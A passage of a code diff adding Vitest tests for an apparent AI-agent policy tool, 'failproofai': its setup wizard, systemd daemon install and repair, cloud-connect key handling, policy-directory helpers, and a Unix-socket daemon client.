vi.mocked(primeElevation).mockImplementation(() => { + order.push("sudo"); + return true; + }); + vi.mocked(selectOne).mockImplementation(async () => { + order.push("select"); + return order.filter((o) => o === "select").length === 1 ? "user" : "apply"; + }); + vi.mocked(multiSelect).mockImplementation(async () => { + order.push("multi"); + return []; + }); + + await runConfigureWizard(ttyIO()); + + expect(order[0]).toBe("sudo"); + }); + + it("ABORTS without writing anything when sudo cannot be obtained", async () => { + // Required means required. A machine that cannot install the service is + // left exactly as it was found rather than carrying half a config — and + // critically, `daemonConfigured` is never set, because a machine with that + // flag and no reachable daemon denies every tool call on it. + vi.mocked(isDaemonSupportedPlatform).mockReturnValue(true); + vi.mocked(primeElevation).mockReturnValue(false); + drive(HAPPY); + + const result = await runConfigureWizard(ttyIO()); + + expect(result.applied).toBe(false); + expect(result.abort).toBe("needs_root"); + expect(installHooks).not.toHaveBeenCalled(); + expect(installDaemonService).not.toHaveBeenCalled(); + expect(readGlobalConfig().daemonConfigured).toBeUndefined(); + // Not marked seen: the next command must offer setup again, because none + // of it happened. + expect(hasSeenLauncher()).toBe(false); + }); + + it("ABORTS without writing anything when the service will not install", async () => { + // The reason the daemon installs BEFORE any user config: a failure here + // has to be undoable, and the only way to guarantee that is to have + // written nothing yet. + vi.mocked(isDaemonSupportedPlatform).mockReturnValue(true); + vi.mocked(installDaemonService).mockResolvedValue({ + installed: false, + reason: "systemctl enable failed", + }); + drive(HAPPY); + + const result = await runConfigureWizard(ttyIO()); + + expect(result.applied).toBe(false); + expect(result.abort).toBe("daemon_failed"); + expect(installHooks).not.toHaveBeenCalled(); + expect(readGlobalConfig().daemonConfigured).toBeUndefined(); + expect(hasSeenLauncher()).toBe(false); + }); + + it("does not require a daemon, or sudo, on an unsupported platform", async () => { + // Requiring an impossible step would lock these users out of setup + // entirely rather than protecting anything. + vi.mocked(isDaemonSupportedPlatform).mockReturnValue(false); + drive(HAPPY); + + const result = await runConfigureWizard(ttyIO()); + + expect(result.applied).toBe(true); + expect(primeElevation).not.toHaveBeenCalled(); + expect(installDaemonService).not.toHaveBeenCalled(); + expect(readGlobalConfig().daemonConfigured).toBeUndefined(); + }); + + it("skips the install, and the password prompt, when a daemon is already running", async () => { + // Re-running setup on a configured machine must not demand sudo for work + // that is already done. + vi.mocked(isDaemonSupportedPlatform).mockReturnValue(true); + vi.mocked(daemonServiceStatus).mockReturnValue("running"); + drive(HAPPY); + + const result = await runConfigureWizard(ttyIO()); + + expect(result.applied).toBe(true); + expect(primeElevation).not.toHaveBeenCalled(); + expect(installDaemonService).not.toHaveBeenCalled(); + // Still configured — the daemon is there, it just did not need installing. + expect(result.daemonInstalled).toBe(true); + expect(readGlobalConfig().daemonConfigured).toBe(true); + }); + + it("refreshes a running daemon whose unit predates FAILPROOFAI_CLI_CMD", async () => { + // The upgrade case. Nothing else on the machine ever rewrites the unit — + // `npm i -g failproofai@latest` does not touch /etc/systemd/system — so + // without this the daemon has no way to spawn an audit for the rest of the + // machine's life while config.toml says the scheduled scan is on. + vi.mocked(isDaemonSupportedPlatform).mockReturnValue(true); + vi.mocked(daemonServiceStatus).mockReturnValue("running"); + vi.mocked(daemonServiceNeedsUpgrade).mockReturnValue(true); + vi.mocked(ensureDaemonServiceCurrent).mockResolvedValue({ outcome: "rewritten" }); + vi.mocked(daemonServiceFilePath).mockReturnValue("/etc/systemd/system/failproofaid@test.service"); + drive(HAPPY); + + const result = await runConfigureWizard(ttyIO()); + + // The refresh rewrites a root-owned file and restarts the daemon, so the + // confirmation screen has to say so — a review that lists everything a run + // will touch except the privileged bit is worse than no review. + const review = vi.mocked(selectOne).mock.calls.find((c) => c[0].message === "Ready to apply?"); + expect(String(review?.[0].body)).toContain("/etc/systemd/system/failproofaid@test.service"); + vi.mocked(daemonServiceFilePath).mockReturnValue(null); + + expect(result.applied).toBe(true); + expect(ensureDaemonServiceCurrent).toHaveBeenCalledTimes(1); + // A refresh, never a reinstall: the daemon is up, and reinstalling would + // re-resolve a binary path that after a CLI upgrade is not on disk yet. + expect(installDaemonService).not.toHaveBeenCalled(); + expect(primeElevation).toHaveBeenCalled(); + expect(readGlobalConfig().daemonConfigured).toBe(true); + }); + + it("finishes setup anyway when the unit refresh fails", async () => { + // Only the scheduled audit is out of reach here — the daemon is up and + // hooks are enforcing. Aborting would make upgrading the package the thing + // that locked someone out of `failproofai config`. + vi.mocked(isDaemonSupportedPlatform).mockReturnValue(true); + vi.mocked(daemonServiceStatus).mockReturnValue("running"); + vi.mocked(daemonServiceNeedsUpgrade).mockReturnValue(true); + vi.mocked(ensureDaemonServiceCurrent).mockResolvedValue({ + outcome: "failed", + reason: "sudo: a password is required", + }); + drive(HAPPY); + + const result = await runConfigureWizard(ttyIO()); + + expect(result.applied).toBe(true); + expect(readGlobalConfig().daemonConfigured).toBe(true); + }); + + it("stops claiming a daemon when the refresh left it stopped", async () => { + // The refresh restarts a HEALTHY daemon, which is the one thing the + // "already running — leaving it alone" branch never used to do. If it + // cannot bring it back, keeping daemonConfigured set is not "no scheduled + // audit", it is every tool call across all 12 CLIs denied against a socket + // nothing is listening on, with no recovery short of hand-editing + // policies-config.json. + vi.mocked(isDaemonSupportedPlatform).mockReturnValue(true); + vi.mocked(daemonServiceStatus).mockReturnValue("running"); + vi.mocked(daemonServiceNeedsUpgrade).mockReturnValue(true); + vi.mocked(ensureDaemonServiceCurrent).mockResolvedValue({ + outcome: "failed", + reason: "failproofaid did not come back", + daemonRunning: false, + }); + drive(HAPPY); + + const result = await runConfigureWizard(ttyIO()); + + // Setup still completes — the hooks it wrote enforce in-process. + expect(result.applied).toBe(true); + // Without the switch-back this reads `true`: the wizard seeds + // daemonInstalled from daemonAlreadyRunning, so a machine that was running + // a daemon re-asserts the flag at the end of every apply. + expect(readGlobalConfig().daemonConfigured).toBeUndefined(); + expect(readFpConfig().daemon.configured).toBe(false); + expect(result.daemonInstalled).toBe(false); + }); + + it("rebuilds a daemon that runs but cannot evaluate anything", async () => { + // The lockout with no route back: `ExecStart` bakes in `process.execPath`, + // so an `nvm uninstall 20` months after setup leaves a unit systemd still + // calls active whose worker dies on every spawn. Every existing check + // passes that machine — the service manager says running, `Ping` is + // answered without touching the worker — so this wizard, the documented + // remedy, took the "already installed and running — leaving it alone" + // branch and changed nothing, while `daemonConfigured` denied every tool + // call including UserPromptSubmit. + vi.mocked(isDaemonSupportedPlatform).mockReturnValue(true); + vi.mocked(daemonServiceStatus).mockReturnValue("running"); + // False for the health check that classifies the machine as broken, then + // true for the post-install probe — the rebuilt daemon answers. + // Two different call sites: the boolean form DETECTS the broken daemon + // (first call, false), and the richer form VERIFIES the rebuild afterwards + // (must be ok, or the wizard aborts and nothing is applied). + vi.mocked(probeDaemonEndToEnd).mockResolvedValueOnce(false).mockResolvedValue(true); + vi.mocked(probeDaemon).mockResolvedValue({ ok: true }); + vi.mocked(installDaemonService).mockResolvedValue({ installed: true }); + drive(HAPPY); + + const result = await runConfigureWizard(ttyIO()); + + expect(result.applied).toBe(true); + // Torn down BEFORE the reinstall: the dead unit holds the singleton flock + // the replacement needs, so installing over the top would start a daemon + // that loses the lock race and leave the machine exactly as broken. + expect(uninstallDaemonService).toHaveBeenCalled(); + expect(installDaemonService).toHaveBeenCalled(); + expect(result.daemonInstalled).toBe(true); + vi.mocked(probeDaemonEndToEnd).mockResolvedValue(true); + vi.mocked(probeDaemon).mockResolvedValue({ ok: true }); + }); + + it("refuses to finish setup when the freshly installed daemon cannot answer", async () => { + // The gap the probe exists for: `installDaemonService` can only report that + // the SERVICE is running, which systemd will happily say about a unit whose + // worker dies on every spawn. Setting `daemonConfigured` against it denies + // every tool call on the machine, `UserPromptSubmit` included. The daemon + // step runs before anything user-facing is written, so aborting here leaves + // the machine exactly as it was found. + vi.mocked(isDaemonSupportedPlatform).mockReturnValue(true); + vi.mocked(daemonServiceStatus).mockReturnValue("not-installed"); + vi.mocked(installDaemonService).mockResolvedValue({ installed: true }); + vi.mocked(probeDaemonEndToEnd).mockResolvedValue(false); + vi.mocked(probeDaemon).mockResolvedValue({ ok: false, reason: "worker" }); + drive(HAPPY); + + const result = await runConfigureWizard(ttyIO()); + + expect(result.applied).toBe(false); + expect(result.abort).toBe("daemon_failed"); + // Nothing written, and above all the fail-closed flag never set. + expect(installHooks).not.toHaveBeenCalled(); + expect(readFpConfig().daemon.configured).not.toBe(true); + }); + + it("does not touch a daemon that is running AND answering", async () => { + // The other half of the branch above: the probe must not turn every + // healthy re-run into an uninstall/reinstall cycle that demands a password. + vi.mocked(isDaemonSupportedPlatform).mockReturnValue(true); + vi.mocked(daemonServiceStatus).mockReturnValue("running"); + vi.mocked(probeDaemonEndToEnd).mockResolvedValue(true); + vi.mocked(probeDaemon).mockResolvedValue({ ok: true }); + drive(HAPPY); + + const result = await runConfigureWizard(ttyIO()); + + expect(result.applied).toBe(true); + expect(uninstallDaemonService).not.toHaveBeenCalled(); + expect(installDaemonService).not.toHaveBeenCalled(); + }); + + it("leaves a stale unit alone, without aborting, when root is unavailable", async () => { + vi.mocked(isDaemonSupportedPlatform).mockReturnValue(true); + vi.mocked(daemonServiceStatus).mockReturnValue("running"); + vi.mocked(daemonServiceNeedsUpgrade).mockReturnValue(true); + vi.mocked(primeElevation).mockReturnValue(false); + drive(HAPPY); + + const result = await runConfigureWizard(ttyIO()); + + expect(result.applied).toBe(true); + expect(result.abort).toBeUndefined(); + // Never attempted: the privileged write would fail, and a `sudo -n` + // failure per privileged command is noise, not information. + expect(ensureDaemonServiceCurrent).not.toHaveBeenCalled(); + vi.mocked(primeElevation).mockReturnValue(true); + }); + + it("reinstalls a daemon that is installed but NOT running", async () => { + // A crash-looped unit is exactly the machine that needs repair. Treating + // "installed" as good enough would skip it and then set daemonConfigured + // against a service that never answers — fail-closed on every tool call. + vi.mocked(isDaemonSupportedPlatform).mockReturnValue(true); + vi.mocked(daemonServiceStatus).mockReturnValue("stopped"); + vi.mocked(installDaemonService).mockResolvedValue({ installed: true }); + drive(HAPPY); + + await runConfigureWizard(ttyIO()); + + expect(primeElevation).toHaveBeenCalled(); + expect(installDaemonService).toHaveBeenCalledTimes(1); + }); + + it("installs the daemon at project scope too — it is machine-level, not per-project", async () => { + vi.mocked(isDaemonSupportedPlatform).mockReturnValue(true); + vi.mocked(installDaemonService).mockResolvedValue({ installed: true }); + drive({ ...HAPPY, target: "project" }); + + await runConfigureWizard(ttyIO()); + + expect(installDaemonService).toHaveBeenCalledTimes(1); + }); + + it("sends a classification, never the raw reason, in the daemon-install telemetry", async () => { + vi.mocked(isDaemonSupportedPlatform).mockReturnValue(true); + vi.mocked(installDaemonService).mockResolvedValue({ + installed: false, + // Carries an OS username and the local filesystem layout — exactly what + // must not leave the machine. + reason: "EACCES: permission denied, open '/home/alice/.config/systemd/user/x.service'", + }); + drive(HAPPY); + + await runConfigureWizard(ttyIO()); + + const call = vi + .mocked(trackHookEvent) + .mock.calls.find((c) => c[1] === "configure_daemon_install"); + expect(call).toBeDefined(); + const props = call![2] as Record; + expect(props.installed).toBe(false); + expect(props.reason).not.toContain("alice"); + expect(props.reason).not.toContain("/home/"); + }); + + it("mentions the daemon in the outro only when one is actually there", async () => { + vi.mocked(isDaemonSupportedPlatform).mockReturnValue(true); + vi.mocked(installDaemonService).mockResolvedValue({ installed: true }); + drive(HAPPY); + await runConfigureWizard(ttyIO()); + expect(vi.mocked(outro).mock.calls[0]![0]).toContain("daemon on"); + + // Unsupported platform: no daemon, so no claim of one. + vi.mocked(outro).mockClear(); + vi.mocked(isDaemonSupportedPlatform).mockReturnValue(false); + drive(HAPPY); + await runConfigureWizard(ttyIO()); + expect(vi.mocked(outro).mock.calls[0]![0]).not.toContain("daemon on"); + }); + + it("shows the daemon row in the review only when one will be installed", async () => { + vi.mocked(isDaemonSupportedPlatform).mockReturnValue(true); + const withDaemon = reviewLines({ + target: "user", + clis: ["claude"], + policies: ["block-sudo"], + cwd: "/tmp/proj", + installDaemon: true, + }).join("\n"); + expect(withDaemon).toContain("Daemon"); + expect(withDaemon).toContain("failproofaid"); + + // Promising a service the apply will not install is the failure mode here. + const declined = reviewLines({ + target: "user", + clis: ["claude"], + policies: ["block-sudo"], + cwd: "/tmp/proj", + installDaemon: false, + }).join("\n"); + expect(declined).not.toContain("Daemon"); + + vi.mocked(isDaemonSupportedPlatform).mockReturnValue(false); + const unsupported = reviewLines({ + target: "user", + clis: ["claude"], + policies: ["block-sudo"], + cwd: "/tmp/proj", + }).join("\n"); + expect(unsupported).not.toContain("Daemon"); + }); + + it("states plainly whether anything will be reported", async () => { + // Bundling transcripts into "connect" is only acceptable if the review + // screen says so in as many words. + const local = reviewLines({ + target: "user", + clis: ["claude"], + policies: [], + cwd: "/tmp/proj", + connect: false, + }).join("\n"); + expect(local).toContain("nothing leaves this machine"); + + const connected = reviewLines({ + target: "user", + clis: ["claude"], + policies: [], + cwd: "/tmp/proj", + connect: true, + }).join("\n"); + expect(connected).toContain("transcripts"); + }); +}); +describe("scope targets", () => { + beforeEach(() => { + vi.mocked(isDaemonSupportedPlatform).mockReturnValue(false); + }); + + it("installs once per scope when Both is chosen", async () => { + drive({ ...HAPPY, target: "both" }); + + const result = await runConfigureWizard(ttyIO()); + + expect(result.applied).toBe(true); + expect(result.scopes).toEqual(["user", "project"]); + expect(installHooks).toHaveBeenCalledTimes(2); + expect(vi.mocked(installHooks).mock.calls.map((c) => c[1])).toEqual(["user", "project"]); + }); + + it("installs once for a single scope", async () => { + drive(HAPPY); + const result = await runConfigureWizard(ttyIO()); + expect(result.scopes).toEqual(["user"]); + expect(installHooks).toHaveBeenCalledTimes(1); + }); + + it("keeps a user-scope-only gateway when Both is chosen", async () => { + // Hermes and OpenClaw have no project config. Taking the INTERSECTION of + // what both scopes support would silently drop them and protect less than + // the user ticked, so the selection is the UNION across scopes. + drive({ ...HAPPY, target: "both", clis: ["claude", "hermes"] }); + await runConfigureWizard(ttyIO()); + expect(vi.mocked(installHooks).mock.calls[0][7]).toContain("hermes"); + }); + + it("does not hand a user-scope-only gateway to the project pass", async () => { + // The union above is right, and passing it unfiltered to EVERY scope was + // not. `installHooksImpl` validates each CLI against the scope up front and + // throws `Scope "project" is not supported by Hermes` — it does not skip, + // despite the comment here that said it did. With no try/catch around the + // loop the wizard died mid-apply, after the daemon was installed, + // `daemonConfigured` was set and user-scope hooks were written, and before + // any project config or the pasted cloud key. Reachable from the plainest + // possible answers: "Both" + "Everything available". + drive({ ...HAPPY, target: "both", clis: ["claude", "hermes"] }); + await runConfigureWizard(ttyIO()); + + const [userCall, projectCall] = vi.mocked(installHooks).mock.calls; + expect(userCall[1]).toBe("user"); + expect(userCall[7]).toContain("hermes"); + expect(projectCall[1]).toBe("project"); + expect(projectCall[7]).not.toContain("hermes"); + expect(projectCall[7]).toContain("claude"); + }); + + it("writes nothing when cancelled at the scope step", async () => { + drive({ target: null }); + const result = await runConfigureWizard(ttyIO()); + expect(result.applied).toBe(false); + expect(result.abort).toBe("cancelled"); + expect(installHooks).not.toHaveBeenCalled(); + }); +}); + +describe("connect step", () => { + beforeEach(() => { + vi.mocked(isDaemonSupportedPlatform).mockReturnValue(false); + vi.mocked(connectToCloud).mockClear(); + vi.mocked(validateIngestKey).mockClear().mockResolvedValue({ ok: true }); + // ONE prompt now, not two. The endpoint is no longer asked for: there is + // one right answer for the hosted product, and asking made it look like a + // decision — which is how a key gets pasted into the URL field and how the + // dashboard's own address gets typed at a prompt that wants the API server. + vi.mocked(promptText).mockReset().mockResolvedValueOnce("a-real-looking-key"); + delete process.env.FAILPROOFAI_CLOUD_URL; + }); + + afterEach(() => { + delete process.env.FAILPROOFAI_CLOUD_URL; + }); + + it("connects with transcripts ON, as disclosed at the question", async () => { + // The product decision: connecting bundles decisions AND transcripts + // behind one clear disclosure. If sessions ever silently became false, + // the disclosure would be a lie in the other direction. + drive({ ...HAPPY, connect: "key" }); + + const result = await runConfigureWizard(ttyIO()); + + expect(result.applied).toBe(true); + expect(result.connected).toBe(true); + expect(connectToCloud).toHaveBeenCalledTimes(1); + expect(vi.mocked(connectToCloud).mock.calls[0][0]).toMatchObject({ + url: "https://app.befailproof.ai", + token: "a-real-looking-key", + sessions: true, + }); + }); + + it("never asks for the endpoint — only the key", async () => { + // The regression this guards: re-introducing the URL prompt silently makes + // the key the SECOND answer again, so every scripted or muscle-memory + // paste lands in the wrong field. + drive({ ...HAPPY, connect: "key" }); + + await runConfigureWizard(ttyIO()); + + expect(vi.mocked(promptText)).toHaveBeenCalledTimes(1); + expect(vi.mocked(promptText).mock.calls[0][0].message).toMatch(/API key/); + }); + + it("takes the endpoint from FAILPROOFAI_CLOUD_URL when it is set", async () => { + // The local-development and self-hosting path. Deliberately the SAME + // variable the daemon already reads for cloud-managed policy, so one export + // points the whole machine at one place rather than leaving the wizard and + // the daemon disagreeing about where this machine reports. + process.env.FAILPROOFAI_CLOUD_URL = "http://localhost:8080"; + drive({ ...HAPPY, connect: "key" }); + + const result = await runConfigureWizard(ttyIO()); + + expect(result.connected).toBe(true); + expect(vi.mocked(connectToCloud).mock.calls[0][0]).toMatchObject({ + url: "http://localhost:8080", + token: "a-real-looking-key", + }); + }); + + it("refuses an unusable FAILPROOFAI_CLOUD_URL instead of falling back to hosted", async () => { + // Falling back would report the machine to the hosted service — the one + // outcome someone who exported this variable did not ask for, and one they + // would only discover by going looking for data that never arrived. + // `http://` to a NON-loopback host is refused for the original reason: it + // puts the machine's bearer token on the wire in clear. + process.env.FAILPROOFAI_CLOUD_URL = "http://cloud.example.com"; + drive({ ...HAPPY, connect: "key" }); + + const result = await runConfigureWizard(ttyIO()); + + expect(result.applied).toBe(false); + expect(connectToCloud).not.toHaveBeenCalled(); + }); + + it("probes the key BEFORE the review screen", async () => { + // A typo is worth catching while the user is still thinking about + // credentials, not three screens later after they accepted a review. + drive({ ...HAPPY, connect: "key" }); + await runConfigureWizard(ttyIO()); + expect(validateIngestKey).toHaveBeenCalledTimes(1); + }); + + it("lets a bad key be skipped, and still applies everything else", async () => { + vi.mocked(validateIngestKey).mockResolvedValue({ ok: false, reason: "401" }); + // connect -> key, then the retry question -> skip, then review. + vi.mocked(selectOne) + .mockResolvedValueOnce("user") + .mockResolvedValueOnce("key") + .mockResolvedValueOnce("skip") + .mockResolvedValueOnce("apply"); + vi.mocked(multiSelect).mockResolvedValueOnce(["git"]).mockResolvedValueOnce(["claude"]); + + const result = await runConfigureWizard(ttyIO()); + + expect(result.applied).toBe(true); + expect(result.connected).toBe(false); + expect(connectToCloud).not.toHaveBeenCalled(); + expect(installHooks).toHaveBeenCalledTimes(1); + }); + + it("survives a key revoked between the probe and the apply", async () => { + // connectToCloud re-verifies and writes only what works, so this degrades + // to a reported partial rather than a connection the machine lacks. + vi.mocked(connectToCloud).mockResolvedValue({ + policy: { ok: false, reason: "403" }, + ingest: { ok: false, reason: "403" }, + anyConfigured: false, + }); + drive({ ...HAPPY, connect: "key" }); + + const result = await runConfigureWizard(ttyIO()); + + // Enforcement does not depend on the dashboard: setup still succeeded. + expect(result.applied).toBe(true); + expect(result.connected).toBe(false); + expect(installHooks).toHaveBeenCalledTimes(1); + }); + + it("does not fail setup when connecting throws outright", async () => { + vi.mocked(connectToCloud).mockRejectedValue(new Error("network down")); + drive({ ...HAPPY, connect: "key" }); + + const result = await runConfigureWizard(ttyIO()); + + expect(result.applied).toBe(true); + expect(result.connected).toBe(false); + }); + + it("writes nothing when cancelled at the connect step", async () => { + drive({ target: "user", policies: ["git"], clis: ["claude"], connect: null }); + const result = await runConfigureWizard(ttyIO()); + expect(result.applied).toBe(false); + expect(installHooks).not.toHaveBeenCalled(); + expect(connectToCloud).not.toHaveBeenCalled(); + }); +}); diff --git a/__tests__/hooks/convention-dir-dedup.test.ts b/__tests__/hooks/convention-dir-dedup.test.ts index 8fc0a55e..a796bc92 100644 --- a/__tests__/hooks/convention-dir-dedup.test.ts +++ b/__tests__/hooks/convention-dir-dedup.test.ts @@ -21,6 +21,7 @@ import { join } from "node:path"; import { loadAllCustomHooks } from "@/src/hooks/custom-hooks-loader"; import { clearCustomHooks } from "@/src/hooks/custom-hooks-registry"; +import { customPoliciesDir } from "../../src/hooks/fp-home"; const SRC = ` import { customPolicies, allow } from "failproofai"; @@ -37,8 +38,8 @@ describe("convention discovery deduplicates overlapping directories", () => { beforeEach(() => { home = mkdtempSync(join(tmpdir(), "fp-dedup-")); - mkdirSync(join(home, ".failproofai", "policies"), { recursive: true }); - writeFileSync(join(home, ".failproofai", "policies", "probe-policies.mjs"), SRC, "utf8"); + mkdirSync(customPoliciesDir(home), { recursive: true }); + writeFileSync(join(customPoliciesDir(home), "probe-policies.mjs"), SRC, "utf8"); vi.stubEnv("HOME", home); vi.stubEnv("USERPROFILE", home); clearCustomHooks(); diff --git a/__tests__/hooks/convention-policy-config-sync.test.ts b/__tests__/hooks/convention-policy-config-sync.test.ts index eaaa3a28..bea1ae70 100644 --- a/__tests__/hooks/convention-policy-config-sync.test.ts +++ b/__tests__/hooks/convention-policy-config-sync.test.ts @@ -11,10 +11,11 @@ import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; import { mkdtempSync, mkdirSync, writeFileSync, rmSync, readFileSync, existsSync, statSync } from "node:fs"; import { tmpdir } from "node:os"; -import { join } from "node:path"; +import { join, dirname } from "node:path"; import { listHooks } from "@/src/hooks/manager"; import { syncConventionPolicies } from "@/src/hooks/hooks-config"; +import { customPoliciesDir, globalPolicyConfigFile } from "../../src/hooks/fp-home"; function policySource(hookName: string): string { return ` @@ -32,11 +33,16 @@ describe("convention policies are mirrored into policies-config.json", () => { let home: string; let logSpy: ReturnType; - const configPath = () => join(home, ".failproofai", "policies-config.json"); + const configPath = () => globalPolicyConfigFile(home); + /** Layout 2 nests the global config, so its parent must be created first. */ + const writeConfigFile = (body: string) => { + mkdirSync(dirname(configPath()), { recursive: true }); + writeFileSync(configPath(), body, "utf8"); + }; const readConfig = () => JSON.parse(readFileSync(configPath(), "utf8")); function seed(files: Record) { - const dir = join(home, ".failproofai", "policies"); + const dir = customPoliciesDir(home); mkdirSync(dir, { recursive: true }); for (const [name, body] of Object.entries(files)) { writeFileSync(join(dir, name), body, "utf8"); @@ -58,7 +64,7 @@ describe("convention policies are mirrored into policies-config.json", () => { it("records each discovered file and the hooks it registered", async () => { seed({ "team-policies.mjs": policySource("team-rule") }); - writeFileSync(configPath(), JSON.stringify({ enabledPolicies: [] }), "utf8"); + writeConfigFile(JSON.stringify({ enabledPolicies: [] })); await listHooks(home); @@ -69,11 +75,7 @@ describe("convention policies are mirrored into policies-config.json", () => { it("preserves the keys that were already there", async () => { seed({ "team-policies.mjs": policySource("team-rule") }); - writeFileSync( - configPath(), - JSON.stringify({ enabledPolicies: ["warn-schema-alteration"], policyParams: { foo: { a: 1 } } }), - "utf8", - ); + writeConfigFile(JSON.stringify({ enabledPolicies: ["warn-schema-alteration"], policyParams: { foo: { a: 1 } } })); await listHooks(home); @@ -88,11 +90,11 @@ describe("convention policies are mirrored into policies-config.json", () => { "team-policies.mjs": policySource("team-rule"), "extra-policies.mjs": policySource("extra-rule"), }); - writeFileSync(configPath(), JSON.stringify({ enabledPolicies: [] }), "utf8"); + writeConfigFile(JSON.stringify({ enabledPolicies: [] })); await listHooks(home); expect(readConfig().conventionPolicies).toHaveLength(2); - rmSync(join(home, ".failproofai", "policies", "extra-policies.mjs")); + rmSync(join(customPoliciesDir(home), "extra-policies.mjs")); await listHooks(home); // Wholesale replace, not merge — a stale entry would claim a policy is @@ -104,7 +106,7 @@ describe("convention policies are mirrored into policies-config.json", () => { it("does not rewrite the file when nothing changed", async () => { seed({ "team-policies.mjs": policySource("team-rule") }); - writeFileSync(configPath(), JSON.stringify({ enabledPolicies: [] }), "utf8"); + writeConfigFile(JSON.stringify({ enabledPolicies: [] })); await listHooks(home); const firstWrite = statSync(configPath()).mtimeMs; @@ -127,11 +129,11 @@ describe("convention policies are mirrored into policies-config.json", () => { it("removes the key entirely when the last policy file goes away", async () => { seed({ "team-policies.mjs": policySource("team-rule") }); - writeFileSync(configPath(), JSON.stringify({ enabledPolicies: [] }), "utf8"); + writeConfigFile(JSON.stringify({ enabledPolicies: [] })); await listHooks(home); expect(readConfig().conventionPolicies).toBeDefined(); - rmSync(join(home, ".failproofai", "policies", "team-policies.mjs")); + rmSync(join(customPoliciesDir(home), "team-policies.mjs")); await listHooks(home); expect("conventionPolicies" in readConfig()).toBe(false); @@ -167,7 +169,7 @@ describe("convention policies are mirrored into policies-config.json", () => { it("never overwrites a config file that does not parse", async () => { seed({ "team-policies.mjs": policySource("team-rule") }); const malformed = '{\n "enabledPolicies": ["block-sudo"],\n OOPS\n}\n'; - writeFileSync(configPath(), malformed, "utf8"); + writeConfigFile(malformed); await listHooks(home); diff --git a/__tests__/hooks/custom-hooks-loader.test.ts b/__tests__/hooks/custom-hooks-loader.test.ts index 23d8c5b4..477c5018 100644 --- a/__tests__/hooks/custom-hooks-loader.test.ts +++ b/__tests__/hooks/custom-hooks-loader.test.ts @@ -17,6 +17,12 @@ vi.mock("../../src/hooks/loader-utils", () => ({ rewriteFileTree: vi.fn(() => Promise.resolve([])), cleanupTmpFiles: vi.fn(() => Promise.resolve()), TMP_SUFFIX: ".__failproofai_tmp__.mjs", + // The loader sweeps generated files left behind by a killed load before + // anything scans a policy directory. Real behaviour is covered by + // `loader-tmp-artifacts.test.ts` against a real filesystem; here it only + // needs to exist, since this suite mocks `node:fs`. + isTmpArtifact: vi.fn(() => false), + sweepStaleTmpArtifacts: vi.fn(() => Promise.resolve(0)), })); vi.mock("node:fs", async () => { diff --git a/__tests__/hooks/custom-policy-discovery.test.ts b/__tests__/hooks/custom-policy-discovery.test.ts index 431de228..56580dca 100644 --- a/__tests__/hooks/custom-policy-discovery.test.ts +++ b/__tests__/hooks/custom-policy-discovery.test.ts @@ -258,7 +258,7 @@ describe("the Custom choice is visible to the user", () => { it("review screen says DISABLED when the row is unticked", () => { write("team-policies.mjs"); const off = reviewLines({ - scope: "project", + target: "project", clis: ["claude"], policies: [], cwd: dir, @@ -271,7 +271,7 @@ describe("the Custom choice is visible to the user", () => { it("review screen says auto-loaded when the row is ticked", () => { write("team-policies.mjs"); const on = reviewLines({ - scope: "project", + target: "project", clis: ["claude"], policies: [], cwd: dir, diff --git a/__tests__/hooks/daemon-client.test.ts b/__tests__/hooks/daemon-client.test.ts new file mode 100644 index 00000000..c3c6da49 --- /dev/null +++ b/__tests__/hooks/daemon-client.test.ts @@ -0,0 +1,341 @@ +// @vitest-environment node +/** + * Tests daemon-client.ts against a REAL net.Server speaking the actual + * length-prefixed framing — not a mock of node:net. The point is catching a + * bug in daemon-client.ts's OWN framing/parsing code, which a mocked socket + * cannot do (see the plan's Verification section). + */ +import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; +import { createServer, type Server, type Socket } from "node:net"; +import { mkdtempSync, rmSync, writeFileSync, mkdirSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { writeConfig, DEFAULT_CONFIG } from "../../src/hooks/fp-config"; + +vi.mock("../../src/hooks/hook-logger", () => ({ + hookLogInfo: vi.fn(), + hookLogWarn: vi.fn(), + hookLogError: vi.fn(), +})); + +function encodeFrame(value: unknown): Buffer { + const body = Buffer.from(JSON.stringify(value), "utf8"); + const header = Buffer.alloc(4); + header.writeUInt32BE(body.length, 0); + return Buffer.concat([header, body]); +} + +/** Reads exactly one length-prefixed frame off a connected socket. */ +function readFrame(socket: Socket): Promise> { + return new Promise((resolvePromise, reject) => { + let buf = Buffer.alloc(0); + let declaredLen: number | null = null; + const onData = (chunk: Buffer) => { + buf = Buffer.concat([buf, chunk]); + if (declaredLen === null) { + if (buf.length < 4) return; + declaredLen = buf.readUInt32BE(0); + buf = buf.subarray(4); + } + if (buf.length < declaredLen) return; + socket.off("data", onData); + resolvePromise(JSON.parse(buf.subarray(0, declaredLen).toString("utf8"))); + }; + socket.on("data", onData); + socket.on("error", reject); + }); +} + +describe("hooks/daemon-client", () => { + let tmpDir: string; + let socketPath: string; + let server: Server | null; + + beforeEach(() => { + tmpDir = mkdtempSync(join(tmpdir(), "fpai-daemon-client-test-")); + socketPath = join(tmpDir, "test.sock"); + server = null; + process.env.FAILPROOFAI_DAEMON_SOCKET = socketPath; + vi.resetModules(); + }); + + afterEach(async () => { + delete process.env.FAILPROOFAI_DAEMON_SOCKET; + if (server) { + await new Promise((r) => server!.close(() => r())); + } + rmSync(tmpDir, { recursive: true, force: true }); + vi.restoreAllMocks(); + }); + + /** Starts a real Unix-socket server driven by a per-connection handler. */ + async function startServer(onConnection: (socket: Socket) => void): Promise { + server = createServer(onConnection); + await new Promise((resolvePromise) => server!.listen(socketPath, resolvePromise)); + } + + it("returns the parsed result on a real hookResult response", async () => { + await startServer(async (socket) => { + const req = await readFrame(socket); + expect(req.type).toBe("hook"); + expect(req.protocolVersion).toBe(1); + expect(req.hookEvent).toBe("PreToolUse"); + expect(req.cli).toBe("claude"); + socket.end( + encodeFrame({ + type: "hookResult", + protocolVersion: 1, + exitCode: 0, + stdout: "", + stderr: "", + }), + ); + }); + + const { tryDaemonHook } = await import("../../src/hooks/daemon-client"); + const result = await tryDaemonHook({ + hookEvent: "PreToolUse", + cli: "claude", + stdin: "{}", + cwd: "/repo", + }); + expect(result).toEqual({ exitCode: 0, stdout: "", stderr: "" }); + }); + + it("round-trips a deny response with real stdout/stderr content", async () => { + await startServer(async (socket) => { + await readFrame(socket); + socket.end( + encodeFrame({ + type: "hookResult", + protocolVersion: 1, + exitCode: 2, + stdout: "", + stderr: "blocked: sudo is not allowed", + }), + ); + }); + + const { tryDaemonHook } = await import("../../src/hooks/daemon-client"); + const result = await 